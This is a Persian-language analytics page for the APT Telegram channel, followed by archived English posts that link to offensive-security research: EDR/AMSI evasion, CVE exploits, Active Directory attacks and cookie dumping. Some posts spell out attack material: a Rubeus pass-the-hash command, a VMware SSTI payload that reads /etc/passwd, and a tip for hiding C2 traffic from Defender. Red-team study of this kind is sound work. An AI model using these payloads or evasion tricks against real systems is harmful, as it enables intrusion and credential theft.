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APT

رفتن به کانال در Telegram

This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat

نمایش بیشتر
روسيا40 343فناوری و برنامه‌ها7 759

📈 تحلیل کانال تلگرام APT

کانال APT (@apt_notes) در بخش زبانی انگلیسی بازیگری فعال است. در حال حاضر جامعه شامل 16 259 مشترک است و جایگاه 7 759 را در دسته فناوری و برنامه‌ها و رتبه 40 343 را در منطقه روسيا دارد.

📊 شاخص‌های مخاطب و پویایی

از زمان ایجاد در невідомо، پروژه رشد سریعی داشته و 16 259 مشترک جذب کرده است.

بر اساس آخرین داده‌ها در تاریخ 31 اوت, 2026، کانال فعالیت پایداری دارد. در ۳۰ روز گذشته تغییر اعضا برابر 546 و در ۲۴ ساعت گذشته برابر 11 بوده و همچنان دسترسی گسترده‌ای حفظ شده است.

  • وضعیت تأیید: تأیید نشده
  • نرخ تعامل (ER): میانگین تعامل مخاطب 40.49% است و در ۲۴ ساعت نخست پس از انتشار، محتوا معمولاً 18.06% واکنش نسبت به کل مشترکان کسب می‌کند.
  • دسترسی پست‌ها: هر پست به طور میانگین 6 579 بازدید دریافت می‌کند. در اولین روز معمولاً 2 934 بازدید جمع‌آوری می‌شود.
  • واکنش‌ها و تعامل: مخاطبان به‌طور فعال حمایت می‌کنند؛ میانگین واکنش به هر پست 26 است.

📝 توضیح و سیاست محتوایی

نویسنده این فضا را محل بیان دیدگاه‌های شخصی توصیف می‌کند:
“This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat”

به لطف به‌روزرسانی‌های پرتکرار (آخرین داده در تاریخ 01 سپتامبر, 2026)، کانال همواره به‌روز و دارای دسترسی بالاست. تحلیل‌ها نشان می‌دهد مخاطبان به‌طور فعال با محتوا تعامل دارند و آن را به نقطه اثرگذاری مهم در دسته فناوری و برنامه‌ها تبدیل کرده‌اند.

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آرشیو پست ها
APT
APT
16 249
A blueprint for evading industry leading endpoint protection in 2022 In this post, I’d like to lay out a collection of techni
A blueprint for evading industry leading endpoint protection in 2022 In this post, I’d like to lay out a collection of techniques that together can be used to bypassed industry leading enterprise endpoint protection solutions. This is purely for educational purposes for (ethical) red teamers and alike, so I’ve decided not to publicly release the source code. The aim for this post is to be accessible to a wide audience in the security industry, but not to drill down to the nitty gritty details of every technique. Instead, I will refer to writeups of others that deep dive better than I can: https://vanmieghem.io/blueprint-for-evading-edr-in-2022/ #av #edr #evasion #research

APT
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16 249
In-Process Patchless AMSI Bypass https://ethicalchaos.dev/2022/04/17/in-process-patchless-amsi-bypass/ #amsi #bypass #av #evasion

APT
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16 249
Repost from 1N73LL1G3NC3
CVE-2022-29072 7-Zip 21.07 on Windows allows privilege escalation and command execution when a file with the .7z extension is dragged to the Help>Contents area (0-day) https://github.com/kagancapar/CVE-2022-29072

APT
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16 249
ShadowMove Pivot Technique ShadowMove is a novel technique to hijack sockets from non-cooperative processes. It is described
ShadowMove Pivot Technique ShadowMove is a novel technique to hijack sockets from non-cooperative processes. It is described in the paper ShadowMove: A Stealthy Lateral Movement Strategy presented at USENIX ‘20. This technique takes advantage of the fact that AFD (Ancillary Function Driver) file handles are treated as socket handles by Windows APIs, so it is possible to duplicate them with WSADuplicateSocket(). https://adepts.of0x.cc/shadowmove-hijack-socket/ #shadowmove #hijacking #socket #redteam

APT
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16 249
Pass-the-Hash in 1C Enterprise To gain access to 1C Enterprise, you need a username and password. In case 1C works with LDAP
Pass-the-Hash in 1C Enterprise To gain access to 1C Enterprise, you need a username and password. In case 1C works with LDAP authentication and you only have the user's NTLM hash, you can use Rubeus to launch 1C using the Pass-the-Hash attack. Thus, you can access 1C Enterprise without having a password in the plaintext. 
Invoke-Rubeus -Command "asktgt /user:i.ivanov /domain:APTNOTES.LOCAL /rc4:A87F3A337D73085C45F9416BE5787D86 /createnetonly:C:\1cestart.exe /show"
Bonus: If the compromised user has permissions to run "External data processors", you can get a reverse shell of the 1C server. https://github.com/KraudSecurity/1C-Exploit-Kit/tree/master/1C-Shell #1c #pth #rubeus #ad

APT
APT
16 249
Red Teaming Toolkit A collection of open source and commercial tools that aid in red team operations. This post will help you
Red Teaming Toolkit A collection of open source and commercial tools that aid in red team operations. This post will help you during red team engagement. Contents — Reconnaissance — Weaponization — Delivery — Command and Control — Lateral Movement — Establish Foothold — Escalate Privileges — Data Exfiltration — Misc — References https://renatoborbolla.medium.com/red-teaming-adversary-simulation-toolkit-da89b20cb5ea #redteam #toolkit #powershell #c2

APT
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16 249
Microsoft Sharepoint RCE (CVE-2022-22005) https://hnd3884.github.io/posts/cve-2022-22005-microsoft-sharepoint-RCE/ #sharepoint #rce #cve #research

APT
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16 249
SID filter as security boundary between domains? Microsoft states that "the forest (not the domain) is the security boundary in an Active Directory implementation", meaning that Domain Admins of a child domain is essentially as privileged as Enterprise Admins in a root domain and will have administrative rights in all domains of the forest. Why? We guessed that the default trust between domains inside a forest enables any child domain to trick the root domain to treat child domain users as Enterprise Admins by abusing the SID history (ExtraSids) functionality – this attack/technique is known as "Access Token Manipulation: SID-History Injection" and is explained in a later part of this series. Kerberos authentication explained (Part 1) Known AD attacks - from child to parent (Part 2) SID filtering explained (Part 3) Bypass SID filtering research (Part 4) Golden GMSA trust attack - from child to parent (Part 5) Schema change trust attack - from child to parent (Part 6) Trust account attack - from trusting to trusted (Part 7) #ad #trust #kerberus #research

APT
APT
16 249
Red Team Tips To get rid of Microsoft Defender "behaviour based" amsi detection in case of opening a https C2 channel, it can
Red Team Tips To get rid of Microsoft Defender "behaviour based" amsi detection in case of opening a https C2 channel, it can help, to play with the parameter UserAgent. For example, try a Windows Update User Agent. #redteam #tips #defender #bypass

APT
APT
16 249
Critical Remote Code Execution Vulnerabilities in Windows RPC Runtime (CVE-2022-26809) https://www.akamai.com/blog/security/c
Critical Remote Code Execution Vulnerabilities in Windows RPC Runtime (CVE-2022-26809) https://www.akamai.com/blog/security/critical-remote-code-execution-vulnerabilities-windows-rpc-runtime #windows #rpc #rce #research

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16 249
Coercing NTLM Authentication from SCCM https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a #ad #ntlm #sccm

APT
APT
16 249
VMware Workspace ONE — SSTI (CVE-2022-22954) Successful exploitation could lead to RCE from an unauthenticated user. Payload:
VMware Workspace ONE — SSTI (CVE-2022-22954) Successful exploitation could lead to RCE from an unauthenticated user. Payload: https://victim/catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")} #vmware #workspace #ssti #cve

APT
APT
16 249
AppRecoveryCallback Inject Overwrite a process's recovery callback and invoke a crash to execute https://github.com/Wra7h/ARCInject #av #edr #evasion #inject #csharp

APT
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16 249
How NAT traversal works This blog post about NAT and NAT traversal is truly awesome! https://tailscale.com/blog/how-nat-traversal-works/ #howto #nat #blog

APT
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16 249
Remotely Dumping Chrome Cookies The method in this blog post does not require the remote debugger or Keychain (macOS)/DPAPI (Windows) access and applies to Chromium-based browsers in general https://cedowens.medium.com/remotely-dumping-chrome-cookies-revisited-b25343257209 #chrome #cookie #dump #blog

APT
APT
16 249
Rockyou for Web Fuzzing This is a wordlist for fuzzing purposes made from the best wordlists currently available, lowercased and deduplicated later with duplicut, added cleaner from BonJarber. The lists used have been some selected within these repositories: 
— fuzzdb
— SecLists
— xmendez
— minimaxir
— TheRook
— danielmiessler
— swisskyrepo
— 1N3
— cujanovic
— lavalamp
— ics-default
— jeanphorn
— j3ers3
— nyxxxie
— dirbuster
— dotdotpwn
— hackerone_wordlist
— commonspeak2
— bruteforce-list
— assetnote
https://github.com/six2dez/OneListForAll #web #fuzzing #wordlist

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16 249
Unmanaged Code Execution with .NET Dynamic PInvoke https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/ #edr #evasion #pinvoke #csharp #blog

APT
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16 249
Spring4Shell Scan A fully automated, reliable, and accurate scanner for finding Spring4Shell and Spring Cloud RCE vulnerabilities Features: — Support for lists of URLs. — Fuzzing for more than 10 new Spring4Shell payloads (previously seen tools uses only 1-2 variants). — Fuzzing for HTTP GET and POST methods. — Automatic validation of the vulnerability upon discovery. — Randomized and non-intrusive payloads. — WAF Bypass payloads. https://github.com/fullhunt/spring4shell-scan #spring4shell #spring #scan #tools

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[Blog] Unmanaged Code Execution with .NET Dynamic PInvoke https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/ #edr #evasion #pinvoke #csharp

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16 249
The Bug Hunter Methodology PDF: https://www.ceos3c.com/wp-content/uploads/2020/06/Bug-Hunter-Methodology-V4-Visualization.pdf
The Bug Hunter Methodology PDF: https://www.ceos3c.com/wp-content/uploads/2020/06/Bug-Hunter-Methodology-V4-Visualization.pdf #bugbounty #methodology #xmind